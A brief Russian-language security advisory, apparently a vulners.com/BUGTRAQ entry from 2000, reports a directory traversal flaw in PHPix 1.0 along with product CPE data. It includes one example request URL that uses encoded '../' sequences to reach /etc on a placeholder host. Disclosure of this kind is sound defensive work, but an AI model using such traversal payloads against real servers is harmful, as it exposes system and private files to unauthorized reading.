Дырка в PHPix

2000-10-1000:00:00

BUGTRAQ

vulners.com

Обратный путь в директориях позволяет обращаться к любым файлам, например
http://target.com/Album/?mode=album&album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&dispsize=640&start=0

CPENameOperatorVersion
phpixeq1.0.

CPE	Name	Operator	Version
	phpix	eq	1.0.

References

vulners.com/securityvulns/securityvulns:doc:766